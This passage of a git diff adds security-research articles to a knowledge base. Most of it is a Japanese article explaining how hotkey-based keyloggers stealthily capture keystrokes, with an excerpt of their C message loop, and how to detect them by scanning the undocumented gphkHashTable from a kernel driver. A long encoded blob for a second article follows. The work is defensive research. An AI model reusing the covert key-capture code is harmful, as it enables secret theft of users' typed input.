APIを使い個々のホットキーとして登録します。その後キーロガー内のメッセージループにて、登録されたホットキーのWM\_HOTKEYメッセージが、メッセージキューに到着していないかを[PeekMessageW](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-peekmessagew) APIを使って確認します。そしてWM\_HOTKEYメッセージが来ていた場合、メッセージに内包されているvirtual-key codeを取り出して、最終的にはそれをテキストファイルに保存します。以下がメッセージループ内のコードのコードです。特に重要な部分を抜粋して掲載しています。 + +```c +while (...) +{ + // Get the message in a non-blocking manner and poll if necessary + if (!PeekMessageW(&tMsg, NULL, WM_HOTKEY, WM_HOTKEY, PM_REMOVE)) + { + Sleep(POLL_TIME_MILLIS); + continue; + } +.... + // Get the key from the message + cCurrVk = (BYTE)((((DWORD)tMsg.lParam) & 0xFFFF0000) >> 16); + + // Send the key to the OS and re-register + (VOID)UnregisterHotKey(NULL, adwVkToIdMapping[cCurrVk]); + keybd_event(cCurrVk, 0, 0, (ULONG_PTR)NULL); + if (!RegisterHotKey(NULL, adwVkToIdMapping[cCurrVk], 0, cCurrVk)) + { + adwVkToIdMapping[cCurrVk] = 0; + DEBUG_MSG(L"RegisterHotKey() failed for re-registration (cCurrVk=%lu, LastError=%lu).", cCurrVk, GetLastError()); + goto lblCleanup; + } + // Write to the file + if (!WriteFile(hFile, &cCurrVk, sizeof(cCurrVk), &cbBytesWritten, NULL)) + { +.... +``` + + ここで特筆するべき点としては、ユーザにキーロガーの存在を気取られないため、メッセージからvirtual-key codeを取り出した時点で、いったんそのキーのホットキー登録を[UnregisterHotKey](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-unregisterhotkey) APIを使って解除し、その上で[keybd\_event](https://learn.microsoft.com/ja-jp/windows/win32/api/winuser/nf-winuser-keybd_event)を使ってキーを送信することです。これにより、ユーザからは問題無くキーが入力出来ているように見え、キーが裏で窃取されていることに気が付かれにくくなります。そしてキーを送信した後は再びそのキーを`RegisterHotKey` APIを使ってホットキーとして登録し、再びユーザからの入力を待ちます。以上が、ホットキー型キーロガーの仕組みです。 + +## **ホットキー型キーロガーの検知手法** + + ホットキー型キーロガーとは何かやその仕組みについて理解したところで、次にこれをどのように検知するかについてを説明します。 + +### ETWではRegisterHotKey APIは監視していない + + 以前の記事で書いた方法と同様に、まずはホットキー型キーロガーも[Event Tracing for Windows](https://learn.microsoft.com/ja-jp/windows/win32/etw/about-event-tracing) (ETW) を利用して検知が出来ないかを検討・調査しました。その結果、ETWでは`RegisterHotKey` APIや`UnRegisterHotKey` APIを監視していないことがすぐに判明しました。Microsoft-Windows-Win32k プロダイバーのマニフェストファイルの調査に加えて、`RegisterHotKey`のAPIの内部(具体的にはwin32kfull.sysにある`NtUserRegisterHotKey`)をリバースエンジニアリングをしたものの、これらのAPIが実行される際、ETWのイベントを送信しているような形跡は残念ながら見つかりませんでした。 + 以下の図は、ETWで監視対象となっている`GetAsyncKeyState`(`NtUserGetAsyncKeyState`)と、`NtUserRegisterHotKey`の逆コンパイル結果を比較したものを示しています。`NtUserGetAsyncKeyState`の方には関数の冒頭に、`EtwTraceGetAsyncKeyState`というETWのイベント書き出しに紐づく関数が存在しますが、`NtUserRegisterHotKey`には存在しないのが見て取れます。 + +![図1: NtUserGetAsyncKeyStateとNtUserRegisterHotKeyの逆コンパイル結果の比較](/assets/images/detecting-hotkey-based-keyloggers/image3.png) +  + Microsoft-Windows-Win32k 以外のETWプロバイダーを使って、間接的に`RegisterHotKey` APIを呼び出しを監視する案もでたものの、次に紹介する、ETWを使わず「ホットキーテーブル」を利用した検知手法が、`RegisterHotKey` APIを監視するのと同様かそれ以上の効果が得られることが分かり、最終的にはこの案を採用することにしました。 + +### ホットキーテーブル(gphkHashTable)を利用した検知 + + ETWでは`RegisterHotKey` APIの呼び出しを直接監視出来ないことが判明した時点で、ETWを利用せずに検知する方法を検討することにしました。検討の最中、「そもそも登録されたホットキーの情報がどこかに保存されているのではないか?」「もし保存されているとしたら、その情報が検知に使えるのではないか?」という考えに至りました。その仮説をもとに調査した結果、すぐに`NtUserRegisterHotkey`内にて`gphkHashTable`というラベルがつけられたハッシュテーブルを発見することが出来ました。Microsoft社が公開しているオンラインのドキュメント類を調査しても`gphkHashTable`についての情報はなかったため、これは未公開(undocumented)のカーネルデータ構造のようです。 + +![図2: ホットキーテーブルgphkHashTable。NtUserRegisterHotKey内で呼ばれたRegisterHotKey関数内にて発見](/assets/images/detecting-hotkey-based-keyloggers/image1.png) + + リバースエンジニアリングをした結果、このハッシュテーブルは、登録されたホットキーの情報を持つオブジェクトを保存しており、各オブジェクトは`RegisterHotKey` APIの引数にて指定されたvirtual-key codeや修飾子の情報を保持していることが分かりました。以下の図(右)がホットキーのオブジェクト(**HOT\_KEY**と命名)の構造体の定義の一部と、図(左)が実際にwindbg上で`gphkHashTable`にアクセスした上で、登録されたホットキーのオブジェクトを見た時の様子です。 + +![図3: ホットキーオブジェクトの詳細。Windbg画面(図左)とHOT\_KEY構造体の詳細](/assets/images/detecting-hotkey-based-keyloggers/image4.png) + + リバースエンジニアリングをした結果をまとめると、ghpkHashTableは図4のような構造になっていることがわかりました。具体的には、`RegisterHotKey` APIで指定されたvirtual-key codeに対して0x80の余剰演算をした結果をハッシュテーブルのインデックスにしていました。そして同じインデックスを持つホットキーオブジェクトを連結リストで結ぶことで、virtual-key codeが同じでも、修飾子が違うホットキーの情報も保持・管理出来るようになっています。 + +![図4: gphkHashTableの構造](/assets/images/detecting-hotkey-based-keyloggers/image6.png) + + つまり`gphkHashTable`で保持している全てのHOT\_KEYオブジェクトを走査すれば、登録されている全ホットキーの情報が取得できるということになります。取得した結果、主要なキー(例えば単体の英数字キー)全てが個々のホットキーとして登録されていれば、ホットキー型キーロガーが動作していることを示す強い根拠となります。 + +## 検知ツールを作成する + + では次に、実際に検知ツールの方を実装していきます。`gphkHashTable`自体はカーネル空間に存在するため、ユーザモードのアプリケーションからはアクセス出来ません。そのため検知のために、デバイスドライバを書くことにしました。具体的には`gphkHashTable`のアドレスを取得した後、ハッシュテーブルに保存されている全オブジェクトを走査した上で、ホットキーとして登録されている英数字キーの数が一定数以上ならば、ホットキー型キーロガーが存在する可能性がある事を知らせてくるデバイスドライバを作成することにしました。 + +### gphkHashTableのアドレスを取得する方法 + + 検知ツールを作成するにあたり、最初に直面した課題としては「gphkHashTableのアドレスをどのようにして取得すればよいのか?」ということです。悩んだ結果、**win32kfull.sys**のメモリ空間内でgphkHashTableにアクセスしている命令から直接gphkHashTableのアドレスを取得することにしました。 + リバースエンジニアリングした結果、`IsHotKey`という関数内では、関数の冒頭部分にあるlea命令(lea rbx, gphkHashTable)にて、gphkHashTableのアクセスしていることがわかりました。この命令のオプコードバイト(0x48, 0x8d, 0x1d)部分をシグネチャに該当行を探索して、得られた32bit(4バイト)のオフセットからgphkHashTableのアドレスを算出することにしました。 + +![図5: IsHotKey関数内 ](/assets/images/detecting-hotkey-based-keyloggers/image5.png) + + 加えて、IsHotKey関数自体もエクスポート関数でないため、そのアドレスも何らかの方法で取得しなければいけません。そこでさらなるリバースエンジニアリングの結果、`EditionIsHotKey`というエクスポートされた関数内で、`IsHotKey`関数が呼ばれていることがわかりました。そこでEditionIsHotKey関数から前述と同様の方法で、IsHotKey関数のアドレスを算出することにしました。(補足ですが、**win32kfull.sys**のベースアドレスに関しては`PsLoadedModuleList`というAPIで探せます。) + + ## **win32kfull.sys**のメモリ空間にアクセスするには + +  **gphkHashTable**のアドレスを取得する方法について検討が終わったところで、実際に**win32kfull.sys**のメモリ空間にアクセスして、**gphkHashTable**のアドレスを取得するためのコードを書き始めました。この時直面した課題としては、**win32kfull.sys**は「セッションドライバ」であるという点ですが、ここではまず「セッション」とは何かについて、簡単に説明します。 + Windowsでは一般的にユーザがログインした際、ユーザ毎に個別に「セッション」(1番以降のセッション番号)が割り当てられます。かなり大雑把に説明すると、最初にログインしたユーザには「セッション1」が割り当てられ、その状態で別のユーザがログインした場合今度は「セッション2」が割り当てられます。そして各ユーザは個々のセッション内で、それぞれのデスクトップ環境を持ちます。 + この時、セッション別(ログインユーザ別)に管理するべきカーネルのデータは、カーネルメモリ内の「セッション空間」というセッション別の分離したメモリ空間で管理され、win32k ドライバが管理しているようなGUIオブジェクト(ウィンドウ、マウス・キーボード入力の情報等)もこれに該当します。これにより、ユーザ間で画面や入力情報が混ざることがないのです。(かなり大まかな説明のため、より詳しくセッションについて知りたい方はJames Forshaw氏の[こちらのブログ記事](https://googleprojectzero.blogspot.com/2016/01/raising-dead.html)を読むことをおすすめします。) + +![図6: セッションの概要。 セッション0はサービスプロセス専用のセッション](/assets/images/detecting-hotkey-based-keyloggers/image2.png) +   +以上の背景から、**win32kfull.sys**は「セッションドライバ」と呼ばれています。つまり、例えば最初のログインユーザのセッション(セッション1)内で登録されたホットキーの情報は、同じセッション内からしかアクセスできないということです。ではどうすれば良いのかというと、このような場合、[KeStackAttachProcess](https://learn.microsoft.com/ja-jp/windows-hardware/drivers/ddi/ntifs/nf-ntifs-kestackattachprocess)が利用できることが[知られています](https://eversinc33.com/posts/kernel-mode-keylogging.html)。 + KeStackAttachProcessは、現在のスレッドを指定のプロセスのアドレス空間に一時的にアタッチすることが出来ます。この時、対象のセッションにいるGUIプロセス、より正確には**win32kfull.sys**をロードしているプロセスにアタッチすることが出来れば、対象セッションの**win32kfull.sys**やそのデータにアクセスすることが出来ます。今回は、ログインユーザが1ユーザであることを仮定して、各ユーザのログオン操作を担うプロセスである**winlogon.exe**を探してアタッチすることにしました。 + +### 登録されているホットキーを確認する + + **winlogon.exe**のプロセスにアタッチし、**gphkHashTable**のアドレスを特定出来た後は、後は**gphkHashTable**をスキャンして登録されたホットキーを確認するだけです。以下がその抜粋版のコードです。 + +```c +BOOL CheckRegisteredHotKeys(_In_ const PVOID& gphkHashTableAddr) +{ +-[skip]- + // Cast the gphkHashTable address to an array of pointers. + PVOID* tableArray = static_cast(gphkHashTableAddr); + // Iterate through the hash table entries. + for (USHORT j = 0; j < 0x80; j++) + { + PVOID item = tableArray[j]; + PHOT_KEY hk = reinterpret_cast(item); + if (hk) + { + CheckHotkeyNode(hk); + } + } +-[skip]- +} + +VOID CheckHotkeyNode(_In_ const PHOT_KEY& hk) +{ + if (MmIsAddressValid(hk->pNext)) { + CheckHotkeyNode(hk->pNext); + } + + // Check whether this is a single numeric hotkey. + if ((hk->vk >= 0x30) && (hk->vk <= 0x39) && (hk->modifiers1 == 0)) + { + KdPrint(("[+] hk->id: %u hk->vk: %x\n", hk->id, hk->vk)); + hotkeyCounter++; + } + // Check whether this is a single alphabet hotkey. + else if ((hk->vk >= 0x41) && (hk->vk <= 0x5A) && (hk->modifiers1 == 0)) + { + KdPrint(("[+] hk->id: %u hk->vk: %x\n", hk->id, hk->vk)); + hotkeyCounter++; + } +-[skip]- +} +.... +if (CheckRegisteredHotKeys(gphkHashTableAddr) && hotkeyCounter >= 36) +{ + detected = TRUE; + goto Cleanup; +} +``` + + コード自体は難しくなく、ハッシュテーブルの各インデックスの先頭から順に、連結リストをたどりながらすべての**HOT\_KEY**オブジェクトにアクセスして、登録されているホットキーが単体の英数字キーか否かを確認しています。作成した検知ツールでは、すべての単体英数字キーがホットキーとして登録 +されていた場合、ホットキー型キーロガーが存在するとしてアラートを挙げます。また、今回実装の簡略化のため、英数字単体キーのホットキーのみを対象としていますが、SHIFTなどの修飾子付きのホットキーも容易に調べることが可能です。 + +### Hotkeyzを検知する + + 検知ツール(Hotkey-based Keylogger Detector)は以下にて公開しました。使い方も以下に記載していますので、興味ある方はぜひご覧ください。加えて本研究は[NULLCON Goa 2025](https://nullcon.net/goa-2025/speaker-windows-keylogger-detection)でも発表しましたので、その[発表スライド](https://docs.google.com/presentation/d/1B0Gdfpo-ER2hPjDbP_NNoGZ8vXP6X1_BN7VZCqUgH8c/edit?usp=sharing)も併せてご覧いただけます。 + +*[https://github.com/AsuNa-jp/HotkeybasedKeyloggerDetector](https://github.com/AsuNa-jp/HotkeybasedKeyloggerDetector) + + 最後に、本ツールを用いて実際にHotkeyzを検知する様子を収録したデモ動画が以下になります。 + +[DEMO\_VIDEO.mp4](https://drive.google.com/file/d/1koGLqA5cPlhL8C07MLg9VDD9-SW2FM9e/view?usp=drive_link) + +## 謝辞 + + [前回の記事](https://www.elastic.co/security-labs/protecting-your-devices-from-information-theft-keylogger-protection-jp)を読んで下さり、その上でホットキー型キーロガーの手法について教えてくださり、その上そのPoCとなるHotkeyzを公開してくださった、Jonathan Bar Or氏に心より感謝致します。 diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detonating_beacons_to_illuminate_detection_gaps.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detonating_beacons_to_illuminate_detection_gaps.encoded.md new file mode 100644 index 0000000000000..007c07f19b82c --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/detonating_beacons_to_illuminate_detection_gaps.encoded.md @@ -0,0 +1 @@ +51846c19b03a904e0a1f39eae4027caed4078118e248d14997c9a57ce9dfebd5e22e439e7e2ae8db92ea909add986cea84d9dc4faf67dc03e9e2bfb45ac08519dd2c68d7c44e796b5d4ab38e4e39925ae641b751fcb85e1840b149ad8ee73d31958d158ffed25b197cf6ed673b5c412cdfea01468a447653a0ca347bc0dff8e8951a397875440438462943166c2f27b381e8d0ecc55b783e1dab5e54c4cfb1d57f3e65ae744b96dacfc1946c661e1bf6685682dae95ddf31ff2f38df68ec6146188928cf61e8e28aa88e65e97e47fff973623a25b3ff03a83af7bf82e8d5dcc4e5abb05c26198b9981374de90e72b8b6454abbc11eaed5770628939df1a6bc6798f5a32d36692b334a853d2a4231bd6f62d3452241cbd9b86fedba165d72561ad2c6b5cfa406f104dd2f9b0589d29c20fe893f21a0f92fbefe6858137c84329bb98de0480fa128766cc093381748011f1baa6bcd9df54e5ea951bf7ed0026c94fcee6aa1a8a8f91007441b5e414eb92013dcc2e99811abb35757b83fead1b34f921c7fd4e62d0e3523af3b90a066ebfeefa4991e01a7b20510d5bb705772ca43fdad6e8e906af977d28b709d79ce99ff79c435cc3a1f58650acc31ee0f3cf45d769f5763be84dcd5249100271788c8f39e7cc33aeceb58283a931c559f50a8a87f5ce92ce38e1a3d734aec2857bf12cbc45bee31229a02afefdc5d827e848bb5c792d967d5e87d105877eaf4fc4eb84224fe099e1d2aa1480e3238b17904eda35127f210164ccd408c73f88513558c93681f63e93fac5cf829e84f751af5d91273f4a8bf96d956bd2d655e132f6b3d0a45fe9d4106c3db6bdd4995ef9577c16bc0e9d74e3a92449c149e962df719b360db5b818e4bfa1301d0ac75ca19731cb69109cac840d45aeb4cc1863b8b51c75b2a666b3dd5050e6aedd38e0864581c8cd6b00f6db7678fcf8557d6760dd31d5492a77c9f7633d063020719145f693a23446df646e9ce5869248e2961bc89e320412a20b7367e9e907686b3ab3a55a4adbe03496c25a860c7a71c38b1653349554c9d12e393a9a5a994ea3b8af010734dff9b9c3c66a3491035873586029a4886a47f77872319e4693779feef56ece49fc155ef7881c134ddf255130884db3d82292a509eb9bda7a3a6d020e646b2143cbb18725a7dfd11e547a5d565a74726e4c85b854c048ff9de57a07f21a529440a68780320db97f2f48ed594daca61ddf8a83e1333e4ded2b04ae1ea9e9dbbee9aaca01c51e99db76147e6991324f896f2d330b93001a1949bcd54ce15dbe960b720fe678222f2a7babdfb3e09731cedd04da11541f209708bb2c6070dba6476703b10a738859c2e581044c113da35a74d5599bd66a965fa180fcee0650933bd1563bafb7a414bbb9cb1fe01af54f02b034a9865fdd1f21d5f9d435c9dd90e7f953d2c920c74d7db6509f292ebbd51fa7e42525676b0bb7689352f8caa20730dc8d332d3f364b2a9505e8301d43056b5d5006110efee1bc7b42f62d6c78ebbc97ade88a7c3f647a1942c270cec9189836a57d1fab5815765bf83c9af080f5903469b91d87767e7496b162c47f5d7fe067d321947d22e5c6d56f05d2072e30dde2f24c05a813c5a2567f70a77ccac3e98a676dc53a8e8c8448279499af376424bc53ea72532a2498e34d2d40ec28363ff047b003489d07344cc10e1c26ecf8eabc55ca76076285c0c910579b788492dfbc7c928b0d80ef852c206a9202d5374a52cd0cad6cef845fd4520c88c7c4f775b0db6395714785698057b3a8aa754752dca8760380da4cb8f17c41aa124456c10f2f0fcc255d3dbfc9e5e2e5e473df83f87d98ff71949adb1b93be98e8e6a6eb5cee08c1285c874280fc0e271cb82ae2aa6800852f5336fa9f7cea1fb910adcaca1f4badde7d278ffd96042194d74dddd33abe954fd842d038751cbab7a45befcc3834ad19915f8a71f9cc198a60bb7dc538d4a0c2f5a389b71da19589bf25e367292ac8cd00fe47ad7d379653e96b2a9faadf93102d8485e24ebce4b2dc25973c340beea26d819a035f24eed39b255234290ea4ad242043f8cdc145c6e2baca78ab8f8bffd9e11d8c66c6401bd79a8f4eb4731fdd4a55c5111e859369c4c8e30744b34e28399bfeb9e5c3b5bf1b613dac376a903d88ce2a2004c1814fe7ec4c6f8bfe90ba9f6d83400f6e15bc11cc581466fff98e2d8335129e7c3a8966c93154dd0bcb29ddef5deca70ffacf2ace50f3e5711a91f78bb1c8075b87f0858682bd5bb4613aafd2c2a39672ce79518b1fb8ab50ab0157c07a76d7fff8d13e1caf9034453d258fc7b78901d9d3b447a83da645211969f398090038c535ae5c151f7d3840c6bf48aa082a3842397225e6f9026f77778bb52fd2a6aeb83be7488975ac5817d8db51d25a37635e61b9e88e2853c40fc2d231fd1398c9bd37b18c8bdf940d2facd3e234f197587a9e313b5abb22d981c5b70b97e2e63afb77f42ad8ab0144db22669d451bfba5d5d753a41502611a188f79a2655a5cef18d7efe2d45c907f637d83f1270b92883ebe1c1f7402f5f3c278484e39a83bf686d8e14cae2b32553da3788822043296b3c0471d143847def01809ac958244c3d0c158cb3cc4f73df489e10b4592e0142afd495319c0406c369e935b77526ae76e33ec733293a194b560ec4851b656b24c43669151643cfdfdc19ff18f58532e2289d1880be1b3d9a6dd7b5b81b8aeba184a60868f262872c8343c55d9058811c9bc8a9c9078ab5324d5b4f1eafb9ef3559f77f6dac0b91c28bfb77785dc1c8a6db1425398f642632adf1b4658187562e411a2f70d01d6fe258c9f7ee9f54014565a578c052b098290af3a60180e70274f510836ddea3d6cde9bb700c1dbd9fdd664ffea3c6a0043ce1b2bb8d58fac31f8dddf829e1004d4572c2c3c5c2a159a875240b4de9a735da83d01d328fc09a3f7c2b4837fc149d86a74fd9a9008e698811965c18aacbd6fb57df94dcf1e44db383fbd85d41c2e66c89dbc67397e1e4f4d8087f0f320c37e5f0cb2b655e0a3926905c28b7310e01f18a51b68c26fb77fcdf597fa13e0737a1d0db8cd9dc045ddfa3754d395e3fc192c868120108de9165f4678d9d85f6bdf8efa32bdc3cb53a7083a876c44dbeb4606f1a59a5c19ec4f223c8442b3793a56f2595b7d84c7a5943d36116f078e0fd0333bd9dbff655ff3db4f542843ef0c7fc8feaa42dd996d72f80250974edb472fd0035060b091e603ae4ae2690b62c87349267fdc2ac81512f929073267e54bb7f7c787a929df1c9c4a81d9eef219389df180f8b6d64eae5f30523b9e6f171f1e6bc09c96a61c4bac4dab4be17544720cb48f64c1ca79bec720b6fa2bfa2988ccaabb27f0e48c9ad355cb11b74a86cf52aa533f9b94f43153479bea1f2236371d9057c768e3ef131ce874b5aced0cbdd5e7d452a65b055a02fe9cb5b004dc63427be54416f68e96c204d8d1a8a697bc63d314a46d75590fac707ca3de88d20020e2f9d07077be01dcc7373a6cea0adfe569720a22d23414b7745b30780443e0318147c7f28ccbb8f3ae406d48e0201ca35d569b2d55a372ca3d88ece6002c95f3b38ebc85b1c0f17a63309bfb8f1ef1c40d29ec347e83f89baf16a5de58f3036d9b85f5affedb2ed9f0c4d17fddf1eee477ba91a4fb6e9100169b716d8cf2a8347ae89e39a11744a0008a234e2955fc12b4faa0ddbe0738da395c4da8f091177f16b9f86dc8b95f8947187117411ae34d7f5bdf5da6ccecde0ba104b03216238e0ca10ff9e8ef0e960ae29d84681d6f84ec26111fa135762ed0be92a4c31acf35f5ebb89bf483612f4f53b6787c79c08f5233b391cd522e4482e7766cc6596b7ec5b197735dd0516f49e9a0306e747f1fb881ccdc04857619ee1cc744e6abf9eecbcb771bc241bfbf31baec7a1d3bf75a9c9f7124774a97a9d93d52ecff7cc33a50e5100cf1eb3fde2d8988916f452706f9a0621ba3e6ea5eca7699088cec694917b25b879c6b7040c67270400fb10eae3c1e1906a6ebaf266a4824fd85065a45e751f20cfd14d4f80f3a8e42070a2dc391372932c9e9519deec9676724bece7298a02b794626f777276a75902178bb47918c684312fdc80604d3f2cb22062d9394aff06256b72b849665489e6dc084b312a6c281a014434386239216936af1f1912c01d13eafd52680cbdc93ac6437c724c180926d266039bdde384b932bb78deb6f952797c5b39e73f82b6b72c5e90fe78dd6a1e689d7d22b3e0af1336894f92c38f8ef335cb634dd34b20a2c3028788a558d4c17a33add93b84ac517bbd538fff4d7d72b9bd06dbcef1a16d6a56e0dd23f912a59ce2c49804de2dfe3dab50db36a9a6fa90ad73ecc898eb612eb60cb67889b3e0443ca9c9ba9b0f05ce8cc8bf962b0b03748d1a79bf32fe65a36ff6554d9304a4e2aabca9eb7f7e0ff9bfbba8681aeb7542737588224bc9e9d5b49b1f16b688af0ff15432abed6c983c4c944ad515a86102283199d4f54ad6b8e5e5952b2b7e6fac1c804944c6bd3136ac7d8eb0a8780b9835ec5ab851360c32491db3c36f8abc814ea1d1a3775241fb0f98dede38b9aa1050ff46700b6fb2d1ca1df0ff96a195adc4823e4b10625500f514583726319a09c13ac14227e70ef1139b107bfab2999bf0841814b1258759bae9aa1b639a3f998ed9d706e6b1c55744e0df67d2dac842fabca839b87e91429d234278163dd8cc2bc1ba03efd3bbbd66d5160c928b7f0f3ec3260a35d3e7b1682b1ff38f932e78f460efd8cbedad39dec33ba5a871dc2607e5fdf8247158ad9090d0a43f89b0b1afe9a6a13b1664f31be76b7fca3b4ebb1fb1da1975b0d0b63d1e13a927c07f2cae388cfddc496d6a72ea6cd9ea1480a66ffd08b5928e7ae770f529fe5433e9857707ae0f735b36ba356753d11e4930d8397ace61822dee9ba1650c903d2de7601cab789e28c7ffafafc51ed1238c8a4060b804bbfadc99fe0d399b6c22764082a36f00c68a5ca7d56d3ab77a7807aed308835aed1c8e95ed8ef24c84e557ca78f31bcc8df47a4a097a4aec7c4998787177daf2b29504bed06f5ca9669197860fe28f01056df565100ac6f00a9f6aceb0aed206859e243f0d539e42ff3d116f3e052230109c057648c1ad0c8807684b4cd29b282c5bf660255402bb91dff4821d3e37673371ace70a84bd79c031985f571ffaf1d8e67da21011a35f267df492a50d14557727bf21433bd7a88880ef6565f5e430773768cba3a40f4878a9783c9f1ccfccae2faf38554b10dd7d3b7a9ffd78c52caacb7a29308139353b7cc6ad5c9088ce1b188e1500f5cc5f091fc1e8b242191046a9e42c5d54ae2b0a1ce237e9458649aa3f3f5da2bf772bb87dfd29ea98228ba0b5247eab2757809e7b4924febf0f8a5041616d35f5a7c7ff2d23e88f42c48046d28c303e1fc018c5df4821991607518a1a392d954619bf040bbf4983e0f43698be7a6234700b3eb1e02677a7573ef26f71d26d9ad003c0b483322367bbca0bc1f0c91890139df34d284db7528374a40a7b5846b8e71ef223a094a26cc867758152f00a2982776a38d1b2f5be834f918fe575828202686b43f635897cc1810cb523bdad578364fa1f064ea78b0dc5f16e8df5dcb4719e38ab99080392572fc6145705a0a95da1fd109f160c12b7732f358b69984408a512e51bf166d734e48c306b59e87c8554900dcb5c75714a667f908b843d8401f2edbc266f4c072f7839952437ef1ccc9da559958f7ecd5d5104a6fbb75bc8efec7a2d582a729c2213e3286c81e43276ef173902c1075fb5a939c6345b9a20bbf4202454dc755af06a7d6f20748df845fdb9bb286295b210e4474df5e4936b9c6c3b1c7a6c7fbd9b6517f0a46122292e5adf0a55efee8b15d11c6a25a4cad716cd4017a62203fa8491eada4291d9d08cf5f47c15791a06c60281f78ea8f87a0c445ef9cf04a2bb116cac1e649c34da412d63f74e313bac8ace70658b651601ab7ab295947208638d810b90af74fc70b3c694c5dc6b4cfe6a66d118fcf79041397aea031a702f95179c69bf629024b78237dc98caf44a917358e94c54a2c988be4a72394278e3eef63fd9448f5d5f0cbe746388ef231d5d12cca792c3c2210fd6404b3d7b9a2e968d90b969e715555ce25d34a10f18a940035fe1b6e944f826d2bf4591079e06c9626f82296845e1cf29264b8982305005fe0cdd01923065ffb8b296d4abd5de5d903db78d89369a72e10c77e5c3f83dfc84b74f1c6bd2fe1df5b097487a668094603e28c1da6753666fd6fab0ccae40cbe66408d86f771498dd28c2d173ad381c14d1977b579da02f9ec53e39c086cae8d40d1c9ead53e317a87da65a5487426e8399741d73ecbb14fc4ba5adf9f3d0b58a92ffd7f2ac2e508214d5fdbb246362c3154e471a222486968e8edbbc030f03ea757a376b36f8b20f4974bc7e38d4541116d0b797c8251b6ea9289d8ea2362b9e042952804479e8c17fd35bb432752ae217b828480d083da1aa0033cc17e6b3de1eced153c3c66d9ba962bf6569ba57fdbd6b01002cc811bd0e83e209ad84d4b08866aa163d9ec878cd6df62e68fb00f7389c5287e20ab60a43858c80064e51fae6a8da2defae87fdc4f6c786d22fccfd2e5c9c2a295d5f2f5fee085a91e9db57f63c843cc29bc89aeece2790c7770752f92445780246e04fa003b9f1ef9ee7b62dd2a168a8ec345273f7525f67200e4393cd1fe11e8b66ecbbc9c762035b51b30b122218af4fb13129e64f73d2485f01935558148606988a364f2df1e34194d3420fe996cc25dd2ba7ad6090e93135e2148b083e651be06692dfe0ad630d888e1f2b9c9694a8ca247c33f3bb8740e75622439815b3127d6db9a565a3cace1e81b252c96f147a6e420c2786ad9555fe1173ca8a4eee00b00d5c7ec1e2c44be52b9a69ac076d2a469e7d6909a9a0223d7fee913bb55978eb616bbb4e688d0ca7eb19f7dd5193bf0360e3bf5eae5c36a355c175aabf67957625ea3c30738633ebb38ca0d9d1b817a28e14ca1a1263dbb599d24f3f129122cb07297eaa8298768c58492f7dafeb6b1fb3351861fe13c5608b827f444adcff1b85df1957ea9c76147c7a60d26f6bedba389beca79d0c5ad91ab30c1412c16fc3e4ffa5ab237c5b9dd2aafd3610b924c470df2d09a72739e76ea463fe78fe589cec96d14ee72b20cdb8077b99ef0da8125fc37ef60db7b9687549d86ddcaca39c16e111b3d2664265041ed3f05706dfe34d143b85984c4a33d102deaddd50213a65fe7c9b92ec05fbe2b45fa992457787563f5a24cc597a899578b8c2561480c559c7ca40089e0f6f7d9626a771b5f02578cd8ee1b6aa1f29df628d5fa2a9d5b24c6befaa4d7b2d7f840f2314f56ab8a0e41fca8b0a4642f63c8ff0b47f29e2a7ef4643bc5a2c31546a95129851a4d5ec85ae43c15ccb7556f955f0845e2f7bdee1bb2dce8de328f8a51ddb1c80521b207da5cf3bcad7fcf758ca0da4b981adcc625f5433b01af433a0e88af83093b26ef41060dc9a378ffe861d2c180176f02b561adcd53d480edf762022c8a2016058b3973e030b7de7cd99030188d55e07bdb6afdc3d6bf68ca945e58065379678c4075d2f58d65adcda63a8a92c982b30cde4b29fe14ad425a9696aeaaae1abee5d4dd756496f9002c7a8b3ccc4106c99a09f340b6bd10f5295c4b16b91f52a1a250049024d30b123a40f05f72d0013c0cc7f64851d96c261119f2dbc3411881e00e0c485f2fe737ba93b15b6cd3922d49862f60c89ba357d7117f07eb5f6c4f47aea774fc167ab1aa054b064558ae5ce908c1dee691fdfecd7aec44e198d0c48df234877777f0cf751a8279d1fb1d73ff341f1dc6e50052f4379b7f9a3eeb5000592aba89dd8eb05dab73a03990f50b78eab431e86a7dc2fcb205ab2ba6b6c65996a8d278c000b5ed0198f47a383b060ead01194bbde56a881f100e639aad27e348a0ac0dd4912e0d6d78d2152c0f6b69554c76dc33291fe9b6a90067d81e3fa6c296ebe6648f301d9ef871cca9931a1a092e0281081876307c3aa2e95eb49c3795b90738320d819d6c777fb25b58fee6d5fb83e5027acf90973a2b73d4c1edb4c65542147c76c1a9a93973350186c7ddfedb28de45a4d36096aba0a5d716ad1193b7c20a482c1925be5e73e789d6cfaace497efc5aae7487ce6371ae6fb67acc1fea1796f4d772d818540cf491312ff2f6b7a8a8dd3ef35a178658fb930dd7f037c9b1eaa691e70f80007beb7bdaa8b9733815d7397aaa030d3dfb6962ff935c76ac1a6f6185d973510acd4350a30c4b047ffc54138c2054da9221b95b1904bcd4fe8a49e00ebbbd7c37f97eec5806855cc99a69df24639ed3b29b8bde766e5f5b37ad3aa0137037c08f346480dfa5c612e930cf65fc0edbfa85faebeb622b182cbd8ccfeee7a500b1636b9f010b71d90284155feb40d92c0a752d23bc0dd4faecf2c294c404912fafa79678f2b75ad7beed7d0e6032737a13f9ff62c8962b8c1b64287e6e7cf27042d3aa792f270e94a36977a8ded48768d56f66c762231a8f167ab9235feb12c8a71e32bdd4b8eeaf78678b319517d3369b6ac06b5f500827cd3fe15308a8f6c1aacd59af85bab9da346c98bc6a84f188a2531c127bd098d28d13d3fccfb0d269097b6ad9136efeda961ebbaa6e28bec9d1f96f0e486061af9e65ae88e07a9846652dcdba5f2597a74360b454de41dc015eff8d9bbf9ea12c468140afa4ccea69cc38c0556232c8e4c7387a2b26ef5d30834a913e849761349e05e3ddb50bc79db2cb38d0279384742efd7be7a0c45628047d2ee8791a4bc63a84bae21fb535a2b78ae9b2d6d031f3da02b0eb92259f8c2c8a9d4b76a2b6ea4623cf2fd3bb7dde74f40374e8412bcb34fca07d5758f26b76a52b098f3bf79cd3938c901b9387d979bcd3ba63beb1cfc6c049e8050bbcb47719cddf762bd646e45925840f3bf1af9816d267af994f2794ee920b6d46262bae1bf3c9434ebb53bb21b3f644f6061a770feb6f2705fae54ad588a83642c2becec4604084d4aa46464a527e918d1a333b9cbca2097dbfe1e0